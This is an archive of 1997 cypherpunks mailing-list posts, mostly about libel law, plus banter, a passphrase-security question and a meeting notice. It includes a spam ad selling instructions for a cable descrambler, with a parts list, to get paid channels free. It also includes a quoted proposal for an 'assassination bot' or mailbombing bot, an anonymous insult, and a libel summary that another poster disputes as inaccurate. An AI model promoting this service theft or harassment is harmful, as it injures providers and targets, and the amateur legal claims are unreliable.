   "I said [to the reporter] I didn't know anything about the company,
   hadn't heard of it before, but on the face of what he read me those
   ads were misleading and they were unethical. . . . I said that . . .
   it was unfortunate that they would hold out this kind of hope to
   people with advanced metastatic cancer," recalls Relman.
   
   The center sued Relman and several other physicians quoted in the
   article (J. Weiss, Dallas Morning News, June 21, 1992, page 1A). A
   Texas court issued a subpoena to Relman requiring that he give a
   deposition at a lawyer's offices in Boston. But Relman's lawyers
   successfully argued that the Texas court had no jurisdiction in
   Massachusetts, and the case was ultimately dropped.
   
   "I think they knew they had no case," comments Relman. "I was
   expressing an opinion, and what I said as an opinion was true. I
   didn't say it with malicious intention. I didn't even know the
   company. I had nothing personal against them. I was just talking on a
   matter of public policy and medical ethics.
   
   "It seems to me that honest and well-intentioned scientific disputes
   ought to be off limits to litigation," continues Relman. "Many
   scientific advances are made by the resolution of disputes, the
   correction of well-intentioned or honest error by better data, new
   information... It ought to be possible for scientists to express
   honest disagreements, to make honest mistakes... without involving
   them in litigation.... I think it would be a terrible damage to the
   scientific process if lawyers began to get involved in scientific
   debates."
   
   Robert Finn, a freelance science writer based in Long Beach, Calif.,
   is online at finn@nasw.org.
   
   [home] [top] [search] [previous] [next] 
     _________________________________________________________________
   
          (The Scientist, Vol:10, #6, pg.15-16 , March 18, 1996)
          (Copyright (c) The Scientist, Inc.)
          
   WE WELCOME YOUR OPINION. IF YOU WOULD LIKE TO COMMENT ON THIS STORY,
          PLEASE WRITE TO US AT EITHER ONE OF THE FOLLOWING ADDRESSES:
          
   71764.2561@compuserve.com
          or
          
   The Scientist, 3600 Market Street, Suite 450, Philadelphia, PA 19104,
          U.S.A.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 21:38:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: cc.300.html
Message-ID: <199701270602.AAA02303@einstein>
MIME-Version: 1.0
Content-Type: text/plain



PUNISHMENT OF LIBEL KNOWN TO BE FALSE.

   
   
   300. Every one who publishes a defamatory libel that he knows is false
   is guilty of an indictable offence and liable to imprisonment for a
   term not exceeding five years. [R.S., c.C-34, s.264.]
   
   
     _________________________________________________________________
   
   Next, Section 301 ... 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Robert Rothenburg Walking-Owl)
Date: Sun, 26 Jan 1997 16:03:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: David Kahn advocates GAK
Message-ID: <199701270023.TAA17765@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 23 Jan 1997 17:32:56 GMT, you wrote:

>This is surprising, given that (in Kahn on Codes) Mr. Kahn expressed
>forceful opinions

>- against certain aspects of export controls,

>- questioning the value of the NSA's mission, in contrast to social
>demands on government revenues.

I didn't find his opinions forceful in Codebreakers, 2nd. ed.  

Questioning the NSA's purpose vs. advoctating GAK are not incompatible.

>However, while I oppose making key escrow mandatory in general, and
>share the general suspicion of a voluntary Clipper, if Mr. Kahn's
>support for Clipper is limited to cellular telephones, then I have no
>quarrel with such a position.

>Encryption is illegal, without special permission, for use over the
>airwaves, particularly where mobile radio is involved. This is a
>long-standing restriction, and not unreasonable. Private communication
>between people at home is one thing, but allowing criminals to closely
>coordinate their activities on the move is another.
[..]

The problem is the technology is merged. What if you're using cellular links
to your ISP, and use SSL or ssh or PGP? Radio is being advocated as a
possible solution to some of the net's bandwidth problems.

Rob






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 21:38:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: cc.317.html
Message-ID: <199701270603.AAA02306@einstein>
MIME-Version: 1.0
Content-Type: text/plain



VERDICTS IN CASES OF DEFAMATORY LIBEL.

   317. Where, on the trial of an indictment for publishing a defamatory
   libel, a plea of not guilty is pleaded, the jury that is sworn to try
   the issue may give a general verdict of guilty or not guilty on the
   whole matter put in issue on the indictment, and shall not be required
   or directed by the judge to find the defendant guilty merely on proof
   of publication by the defendant of the alleged defamatory libel, and
   of the sense ascribed thereto in the indictment, but the judge may, in
   his discretion, give a direction or opinion to the jury on the matter
   in issue as in other criminal proceedings, and the jury may, on the
   issue, find a special verdict. [R.S., c.C-34, s.281.]
   
   
     _________________________________________________________________
   
   Next, Section 318 ... 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 21:39:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: PublicF_j385.html
Message-ID: <199701270603.AAA02309@einstein>
MIME-Version: 1.0
Content-Type: text/plain



  Libel Plaintiffs - Public or Private Person Status
  
  Recent Examples
  
   PUBLIC OFFICIALS:
   
     * High School Teacher, Elstrom v. Independent Sch. District (Minn.
       1995)
     * Elementary School Principal, 20 MLR 1640 (VT.)
     * Former County Employee w/ Financial Responsiblity, 20 MLR 2159
       (Tenn.)
     * Police Officer, 21 MLR 1588 (Az.)
     * Federal Strike Force Attorney, 20 MLR 1649 (Az.)
     * TVA Official, 20 MLR 1873 (6th)
     * Athletic Director/Football Coach, 21 MLR 1746 (Tx.)
     * Special-Agent-In-Charge of President Ford's Secret Service Detail,
       21 MLR 1842 (D.D.C.)
     * Mississippi Public Defender, 22 MLR 1413 (DC S. Miss. 1994)
     * Former Deputy Sheriff, 22 MLR 2013 (Fla CirCt. 1994)
     * Commissioned National Guard Officers, 22 MLR 2046 (Ga. SuperCt
       1994)
     * Police Lieutenant, 22 MLR 2129 (NJ SupCt 1994)
     * President of State Troopers' association, 22 MLR (NY SupCt AppDiv.
       1993)
       
   NOT PUBLIC OFFICIALS:
   
   High School Principal, 20 MLR 2095 (GA.)
   
   Deputy Public Defender, 21 MLR 1624 (CA)
   
   Street & Traffic Supervisor, LeDoux v. Northstar Pub., 521 N.W. 2d
   (Mn. 1994) LIMITED PUBLIC FIGURES:
   
     * Charity seeking donations and organizer, 21 MLR 1449 (4th Cir.)
     * Attorney in private practice representing several school
       districts, 20 MLR 1992 (NJ)
     * Physician who sought media attention for practice and technique,
       20 MLR 1613 (NY)
     * Star Witness in Jim Garrison case who "sought limelight", 20 MLR
       2113 (La.)
     * Lawn Mower Repair Co., 22 MLR 1461 (NJ SuperCt. AppDiv. 1994)*
     * Police Officer/Subject of Book, 22 MLR 1385 (5th Cir. 1994)*
     * Paycologists/authors, 22 MLR 1852 (7th Cir. 1994)
     * Convicted Murderer, 22 MLR 2239 (DC Sind. 1994)*
     * Actress/Model, 22 MLR 2147 (DC E Wis. 1994) *
     * Appointed tax collector who never took office, 22 MLR 2157 (Ariz
       SuperCt 1994)
     * Brother who "voluntarily thrust himself" into controversy
       surrounding his brothers arrest, 22 MLR 1434 (Ca Ct App 1994)
       
   *Note: It is not clear that these individuals would be limited public
   figures in Oregon.
   
   NOT PUBLIC FIGURES:
   
     * Host of a loud party, 21 MLR 1378 (Pa.)
     * Woman at home where MLK had dinner night before shot who was
       alledged to have had extramarital affair with King, 21 MLR 1353
       (S.D.N.Y)
     * Person accused of of sexual misconduct, 22 MLR 2353 (4th Cir.
       1994)
       
   Return to J385 Home page




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 21:40:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: 1a_c7p6.html
Message-ID: <199701270604.AAA02312@einstein>
MIME-Version: 1.0
Content-Type: text/plain



   [IMAGE]
   
  Chapter VII: Libel
  
   Fault
     _________________________________________________________________
   
   The Supreme Court has recognized different standards for different
   types of libel plaintiffs, with public officials and public figures
   required to show a high degree of fault.
   
   Celebrities and others with power in a community are usually
   considered public figures. Politicians and high-ranking government
   personnel are public officials.
   
   Courts generally consider public officials to include public employees
   who have substantial responsibility for or control over the conduct of
   governmental affairs. Some courts have found that public school
   teachers and police officers are public officials.
   
   But determining if other people are private or public figures is not
   always easy. In some instances, there may be overlapping in the
   private and public category. For example, a businessperson who has
   high visibility because of fundraising efforts in a community may or
   may not be a public figure for all purposes.
   
   A plaintiff who is considered a public figure or official must prove
   that the publisher or broadcaster acted with "actual malice" in
   reporting derogatory information. "Actual malice" does not mean ill
   will or intent to harm. Instead, the term applies to whether the
   defendant knew that the challenged statements were false or acted with
   reckless disregard of the truth.
   
   Courts may examine reporting procedures in testing for actual malice.
   While carelessness is not usually considered reckless disregard,
   ignoring obvious ways of substantiating allegations could be
   considered reckless.
   
   In Harte-Hanks Communications, Inc. v. Connaughton, the Supreme Court
   held that even an extreme deviation from professional standards, or
   the publication of a story to increase circulation, do not in
   themselves prove actual malice. The Court also said that while failure
   to investigate facts does not necessarily prove actual malice, a
   "purposeful avoidance of the truth" may.
   
   Use of quotations that are not literally accurate will not necessarily
   be considered proof of actual malice as long as the altered quotes do
   not materially change the meaning of the words the speaker used. In
   Masson v. The New Yorker Magazine, the Supreme Court acknowledged
   that some editing of quotations is often necessary, but refused to
   extend protection to all edits that are at least a "rational
   interpretation" of what the speaker said.
   
   If the plaintiff is a private litigant, he or she must at least prove
   that the publisher or broadcaster was negligent in failing to
   ascertain that the statement was false and defamatory. Some states may
   impose a higher burden on private-figure litigants, especially if the
   story in question concerns a matter of public importance.
   
   
     _________________________________________________________________
   
   [INLINE] Back to Table of Contents
   [INLINE] Jump to next section in this chapter




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 21:41:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: 1a_c7p7.html
Message-ID: <199701270606.AAA02316@einstein>
MIME-Version: 1.0
Content-Type: text/plain



   [IMAGE]
   
  Chapter VII: Libel
  
   Defenses
     _________________________________________________________________
   
   Truth is generally a complete bar to recovery by any plaintiff who
   sues for libel. Making sure that any potentially libelous material can
   be proven true can avoid needless litigation.
   
   Fair Report. Libelous statements made by others in certain settings
   are often conditionally privileged if the reporter, in good faith,
   accurately reports information of public interest. This privilege
   usually applies to official meetings such as judicial proceedings,
   legislative hearings and grand jury deliberations.
   
   Opinion is still protected speech under the First Amendment, although
   the Supreme Court limited the formerly broad reach of opinion
   protection in Milkovich v. Lorain Journal. The court ruled that there
   is no separate opinion privilege, but because factual truth is a
   defense to a libel claim an opinion with no "provably false factual
   connotation" is still protected.
   
   As a result of this decision, courts will examine statements of
   opinion to see if they are based on or presume underlying facts. If
   these facts are false or defamatory, the "opinion" statements will not
   be protected.
   
   Consent. If a person gives permission for the publication of the
   information, that person cannot later sue for libel. However, denial,
   refusal to answer or silence concerning the statement do not
   constitute consent.
   
   The statute of limitations for bringing libel suits varies from state
   to state. Generally the time limit for filing a libel lawsuit starts
   at the time of the first publication of the alleged defamation. If the
   plaintiff does not sue within the statutory time period, the
   litigation can be barred.
   
   Although a retraction is not usually considered a defense to a libel
   claim, it may reduce the damages a defendant must pay if found liable
   for defamation. Before agreeing to publish a retraction, consult an
   attorney.
   
   
     _________________________________________________________________
   
   [INLINE] Back to Table of Contents
   [INLINE] Jump to next section in this chapter




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 22:05:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fantasy quotes & libel
Message-ID: <199701270630.AAA02364@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

After review of the material I forwarded by request it is clear that
'fantasy' quotes are libel provided:


  * the person being quoted is not a public figure. On a 'private'
    mailing list like the cypherpunks this is a given unless similar
    statements can be found in the public records.

  * the section added to the original quote is not clearly seperated
    or otherwise dilineated such that a reader will be able to tell
    what the original quote was and the extrapolation by the 'editor'
    is.

  * there is clear intent to effect the perception of the original
    authors reputation in a negative or otherwise harmful manner.

  * the 'fantasy' quote is not clearly marked as the opinion of the
    editor.


While quoting persons with editing is allowed under the 1st Amendment as
understood by the courts the attributation of extrapolations by a third
party (meaning a party other than the original author and the reader) as
'true' quotes of the original author is not.

'Truth' is usually ascribed as protection against libel, however, opinions
are not 'true', they are opinions not facts as accepted by a court.

With the current 'editorial control' as provided by the cypherpunks mailing
list the mailing list operator/censor may also be held in some situations
accountable as well. This occurs because the relationship between list
operator and the quoter is similar to that of editor and reporter in a
newspaper. For the quoter to get his quote distributed the list operator
must ok it. The reasoning used is that the editor 'should have known' the
boundaries and applied them.

Not only is ignorance not an excuse but neither is negligence.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 01:13:00 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.SOL.3.93.970126215505.25337B-100000@pegasus.montclair.edu>
Message-ID: <32EC6BAF.2674@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas wrote:
> On Sun, 26 Jan 1997, Dale Thorn wrote:
> > Nurdane Oksas wrote:
> > > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > > Nurdane Oksas wrote:
> > > > >     i think it's good also to exercise outdoors as well as your
> > > > >     indoor nordictrack machines..sun and air is esp. necessary;

> > > > but remember, tanning will kill ya.

> > >         Yes it will; Not a fan of tanning myself...it also causes lots
> > >         of skin problems, have seen women age too soon tanning;
> > >         we don't go outside naked here in NorthEast...do remember;

> > The real babes in So. Cal. go to tanning salons. That way the evenly-
> > distributed tan looks best with, say, a pure white bikini.  You can
> > go to the beach, of course, and hang out with the hoi polloi, but
> > it's mostly kids with pimples and stuff.

>         i don't see why she would wear a bikini if she already is tan.
>         She just goes to show off right???  California is know for
>         very beautiful girls ...     I like the pale look :)

There are two really major beaches in the L.A. area that I know of.
One is Bolsa Chica, several miles long, north of Huntington Beach,
which attracts most of the young'uns south of L.A., and Zuma in the
northmost points of Malibu, which gets a lot of Valley people
(fer sure).  To quote the L.A. Weekly of a few years ago, in a
"Best of L.A." review, "Why do all those hot young girls go to Zuma?
Because that's where all the hot young boys are."

But the real babes don't go there.  They get skates and nifty little
costumes and zip up and down the boardwalks in Santa Monica and
Pacific Palisades mostly, in case some hot producer/director should
happen along.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BradStevens@ezin.net
Date: Mon, 27 Jan 1997 01:10:38 -0800 (PST)
Subject: Cable Television Descrambler - Easy To Make  !!!
Message-ID: <199701270848.AAA03757@dfw-ix12.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Hello {:-) !!! 

     ======= > > > >
     Cable Television Descrambler - Easy To Make !!!


Build your own Cable Television Descrambler with ONLY 7 parts 
from Radio Shack for UNDER $12.00.

Required Supplies:

1 - Radio Shack mini-box (part #270-235)
1 - 1/4 watt resistor. 2.2k-2.4k ohm (part #271-1325)
1 - 75pf-100pf variable capacitor (special order)
2 - F61A chassis-type connectors (part #278-212)
12" - No. 12 solid copper wire
12" - RG59 coaxial cable

Tools required:  screwdriver & drill.  Soldering gun & solder (optional).

Get ALL the Premium Movie Channels, Pay per View and Adult Entertainment 
Channels for... FREE, FREE, FREE !!!

Now, if I have your attention... let me tell you how this fantastic 
opportunity came about.

My name is Brad.  I live in Oklahoma City, Oklahoma.  I have season 
tickets to our city's hockey team.  I invited a friend of mine to one 
of the games this last November.  

He said, "I'd love to go if you can have me back home by 10:00 p.m."  I
told him that some games run just past 10:00 p.m. and would he mind we 
stay if the game was close. 

His response was, "No, tonight is the Mike Tyson - Evander Holyfield 
boxing match and I have it on pay per view"  I said, "do you mind if I
watch the fight with you"?  He said, "sure, no problem".  So we go watch
this great fight on cable pay per view and we are the only two guys at 
my friends house.  

After the fight (since it was so good) I offered to pay half of the cost
for the fight.  My friends anwser was, "no, no, that's not necessary... 
I got the fight for FREE!".  I said to him, "for free, don't those fights
cost around $40.00 a pop?"  He told me, "yes, they do, but I bought a 
cable descrambler box from an acquaintance of mine for $300.00".

He further explained that this "little black box" gets ALL the pay per 
view events available!  It also tunes in ALL the premium movie channels
and ALL the adult entertainment channels.

My response (without hesitation) was, "I gotta have one!"  "$300.00, no
problem where do I pay !!!"  I'm serious, I was excited.  Lifetime 
premium movie channels, pay per view and adult entertainment all for a 
one-time fee of $300.00... no way!!!

"No way" was right.  The guy that sold my buddy the box was no where to 
be found. I was really disappointed.  It was now time for desperate 
measures.  I begged and pleaded with my friend until he agreed to let me
take his box apart piece by piece to see how to make one for myself.  

Luckily it was very easy, if it wasn't simple I knew their was a slight
chance it was not going back together so pretty.

Now the rest is history... I've got my own box which I built with my own
two hands.

Would you like to build one yourself ?!?!  

If so, would you pay $300.00.  Maybe so, maybe not.  Probably not, unless
you saw one work first.  But since that is not possible, I will sell you
a complete set of instructions on how to build one yourself for a measly
$12.00.  However, at that price YOU MUST ALSO ENCLOSE A SELF ADDRESSED 
STAMPED ENVELOPE WITH 55 CENTS POSTAGE AFFIXED.

You might ask, is this some type of rip-off scam deal.  The answer is NO!
Everything has specific mechanics of how and why they do what they do.  
We are just used to flipping a switch or pushing a button or moving the
mouse across our computer pads.  It all happens because of a certain set 
of processes.  The cable television descrambler is no different.

However, for legal purposes I must add to this letter that this offer and
set of instructions shall be void where prohibited by law and the 
assembling of parts necessary to make this "little jewel" work is for 
educational purposes only. 

To order a set of the instructions send $12.00 by cash, check or money 
order payable to: Brad Stevens Elder.  Send to:  10443 N. May Ave. #604,
OKC, OK  73120  USA

I will mail your order out within 24 hours of receiving it.  Further, I 
will give you a refund upon written request if you are unsatisfied for 
any reason.

Have a great 1997 !!!

Sincerely,

Brad Stevens Elder

P.S.:  The experimental use of this box if you choose to see if your 
creation works requires no alteration of your existing cable system.
You simply screw it in, right behind your television.

P.P.S.:  Without the instructions it's like figuring out how to set the
clock on your VCR.  With the instructions, you are guaranteed success.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 01:13:04 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.SOL.3.93.970126234608.26931C-100000@pegasus.montclair.edu>
Message-ID: <32EC6D24.2FD4@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas wrote:
> On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > Nurdane Oksas wrote:
> > > California is know for very beautiful girls ...

> > wrong.

> well, seems D. Thorn agrees with the song: 'california girls'

Depends on where you go, and what time of year. So. Cal. is no doubt
a revolving door for the girl markets, especially on the beach board-
walks, or on San Vicente where a lot of joggers run.

Anywhere else and it's no different from Cleveland or Pittsburgh.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 01:13:11 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Fighting the cybercensor
In-Reply-To: <01BC0B90.0B78E600@king2-16.cnw.com>
Message-ID: <32EC6F84.6FFE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Dale Thorn wrote:
> > How does one country get on top and terrorize the whole world?  By
> > following Tom Wolfe's intimation concerning the pirates: "The people
> > on the East coast were constantly victimized because they couldn't
> > comprehend just how vicious and ruthless the pirates really were"
> > (quote approximate).

> Dale,
>   When I read posts like this, I wonder how any rationally thinking
> person can possibly believe that socio/politico concerns have no
> place in the discussion of crypto.
>   It is my belief that many of the more atrocious acts being performed
> against the citizens by various governments are made possible by the
> fact that there are so few people who recognize a 'pirate' when they
> see one.
>   While I appreciate that there are those who may be furthering the
> cause of crypto, privacy and freedom through official channels, the
> controlled media, and such, there needs to be a forum in which
> people are free to use what they consider to be the 'correct'
> terminology to refer to those who have usurped democracy in order
> to control the citizens for their own personal profit.
>   i.e. 'Pirates'

When I recall my growing up years and the political/social arguments
I participated in, I can hardly believe the things I've learned since,
esp. things like government agencies sharing asset forfeitures as a
means of funding further seizures (kind of snowballs, if you know
what I mean).  Check out H.R. 3355 of late 1993, which authorizes
Janet Reno to personally treaty up with the local cops in every U.S.
city of 100,000 pop. or more, i.e., most of the U.S. population,
and virtually all of the "crime".

There was a previous post today, perhaps yours, which made the point
that while erstwhile freedom fighters are trying to put out one fire
or another, the govt. boys are lighting dozens more.  I guess that
means we'll have to pony up a lot more tax money to pay those guys.
Whoops!  I forgot - they can self-fund now with the asset seizures.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 23:18:48 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: libsln.htm -- Is Libel a Crime?
In-Reply-To: <199701270553.XAA02293@einstein>
Message-ID: <199701270714.BAA00545@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


[Cc: to Dr. John Martin Grubor, Law Systems Institute, Medical-Cannabis Assn]

Jim Choate wrote:
> 
> 
>    Landskroner, LTD. [INLINE]
>    
> Libel / Slander
 
I am not sure if you posted this information in response to my request
to cite a statute that would prove that libel is a crime.

Me> Jim Choate wrote:
Me> > 
Me> > 
Me> > 
Me> > Are you aware that attributing statements in print to a party when that
Me> > party did not write them is a crime?
Me> 
Me> cite the statute


These postings do not prove that libel is a crime. It is because libel
is not a crime. Libel is a tort, and unlike with crime, the government
cannot initiate a legal action against someone for libel. Only injured
(libeled) individuals and not the government can sue in a libel case.

I would appreciate if someone more knowledgeable about the law could
comment on this. I may be mistaken.

igor 

>    Libel / Slander is an area that involves defamatory oral or written
>    statements containing false and misleading material which causes
>    damage or injury to reputation and/or monetary loss.
>    
>    We provide a quick review of their success stories , some media and
>    newspaper articles about what they've been able to do for their
>    clients, and published articles about this topic.
>    
>    Please e-mail us with questions about our service! Landskroner and
>    Phillips 
>    [INLINE]
>    
>    Nationally Recognized Consumer Trial Advocates.
>    Over 100 Years combined experience in both State and Federal Courts.
>    
>    55 Public Square, Tenth Floor, Cleveland Ohio 44113-1904
>    Phone: (216) 241-7000
>    Fax: (216) 241-3135
>    Toll Free: (888) 241-7001
>    [INLINE]
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 26 Jan 1997 22:30:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Passphrase Online...
Message-ID: <TCPSMTP.17.1.27.1.34.12.2780269260.1486070@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

I have a question reg. passphrases:

If I am connected to the Internet via a SLIP/PPP connection and I
type my passphrase while being online (for example, in Private
Idaho, after getting my mail), could that passphrase be compromised?
If so, how would that be done?
Also, if I am online, is it possible for somebody to access my hard
drive?

Thanks in advance for your help...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMucA7jltEBIEF0MBAQFdewf/Q74ATvi+OZzSCdyFrIRQ5aRjychCd6hO
DbfM+/NQ6EcZseKp30JyjmV2VW4Y+HrxIYPtFKii4XzOJ8YCE2Cvtvn9gP8mAntY
oIgsUZG36t+L4nmANpsiEHyzEIMlhjcgW7alKTr+hFbnRjlPwX8W0gdEIXAgIl2k
4uYEB+P+cfUhy1xPQgWfAk6VFspNIHIlFJ3mUqEIJTAOguV//UfIjyNFoGrZhiG7
ocy6YaQ2LiNpoh5xHBIvMf8YSz+FJORVLTucsmA0DYSHMKatNNutXGHoEI5kW1Ww
1O5YAoIuvCLyg/4AEgPBVeU2ClJjARmKrzBcw1bMZDp3wv/DkZdoEQ==
=Xtu7
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 23:09:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Austin Cypherpunks Feb. Meeting
Message-ID: <199701270734.BAA02669@einstein>
MIME-Version: 1.0
Content-Type: text



The Austin Cypherpunks (austin-cpunks@ssz.com) will be holding their next
physical meeting on Saturday, February 18, 1997 at 6pm. It will be held at
the Central Market HEB Restaurant, look for the red covered 'Applied
Cryptography' book.

In addition to the local cpunks the Experimental Science Instrumentation
and Advanced Computer Experimentation groups have been invited.

The meeting is open to all.

If you have any questions or need further directions please send email to
the Austin Cypherpunks.

Hope to see you there.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 27 Jan 1997 01:42:12 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Fantasy quotes & libel
Message-ID: <3.0.32.19970127014516.006f53e4@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:30 AM 1/27/97 -0600, Jim Choate wrote:
>Hi,
>
>After review of the material I forwarded by request it is clear that
>'fantasy' quotes are libel provided:

[gibberish deleted]

You're mixing up elements of a prima facie case for libel, defenses, and
standards for liability and damages. You're missing some elements, and
adding some extra (contradictory) elements. You're also ignoring at least
two other potential causes of action where a quote is misattributed, as
well as trying to simultaneously discuss criminal and civil actions. Your
summary of defamation law is not an accurate one.

Your original message suggested that misattribution could be criminal.
While this may be true in some jurisdictions (modulo the First Amendment),
no prosecutor is going to waste his or her time with this sort of
silliness. Also, go watch _The People v. Larry Flynt_ and meditate on the
reason why Jerry Falwell lost his libel claim in the trial court. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Sun, 26 Jan 1997 23:56:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Passphrase Online...
Message-ID: <3.0.32.19970127014244.00685360@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>If I am connected to the Internet via a SLIP/PPP connection and I
>type my passphrase while being online (for example, in Private
>Idaho, after getting my mail), could that passphrase be compromised?
>If so, how would that be done?

It certainly _could_ but hopefully isn't.  Let's say that Joel
McNamara hadn't released the sources to Private Idaho.  It's
certainly possible that he hooked into the windows created when
PI shells out to DOS, and left a snippet of code that mails your
keyID and passphrase to some throwaway AOL account, or a nym address
that bounces through a dozen remailers, or whatever.  Anything you
give to a program, especially one that you know accesses the Internet,
is a potential security risk.

(Special note to Joel, if he's still on this list: Yes, I know
better.  I've read through all of your released Private Idaho sources.
You just seemed like a handy example :)

Paranoid yet?  Good.  That's a healthy state to be in.  Fortunately,
most developers (like Joel) don't put any such evil hooks into
their software.  Having access to the source, to be able to read
through it yourself, is IMO one of the better ways to be sure about
such things. Reading the source and recompiling it yourself is
probably the best.

>Also, if I am online, is it possible for somebody to access my hard
>drive?

Depends on what kind of computer and software you're running.
I'll assume a Windows-style machine.  If we assume that Microsoft
didn't leave any lurking backdoors in their implementation of
wsock32.dll and winsock.dll, and all you run is your usual Web
browser and mail client and you trust _those_ you are probably
safe.  However, if you're running any server daemons on your machine,
such as the MS Personal Web Server or WFTPD or whatever, the 
possibilities go up _a_lot.  Those programs were designed to let
others access your hard drive, so there's a much higher chance that
they'll let someone get something they're not supposed to.  Again,
if you trust the people that developed your software to not stab
you in the back, you should be alright.

Still paranoid?  Excellent.

dave


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 27 Jan 1997 00:58:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cyclic codes
Message-ID: <199701270859.BAA24297@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timothy Mayonnaise's wee-wee is so tiny that only his mommy is 
allowed to touch it.

           __o
         _ \<_  Timothy Mayonnaise
        (_)/(_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 27 Jan 1997 00:07:09 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701270357.TAA06744@toad.com>
Message-ID: <199701270824.CAA00742@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> ichudov@algebra.com (Igor Chudov @ home) writes:
> > Jim, why don't you stop bullshitting and write a real assassination
> > bot. [as a beta, it can be a mailbombing bot] This bot would:
> I think this would be a very good demo project, but mailbombing may not
> be the best choice...
> > 1) Accept bets as combinations of

   
     Well, I have made a less destructive proposal along these lines.

     http://www.bounty.org

     Version .3 should be up in a day or two.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 27 Jan 1997 00:17:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Passphrase Online...
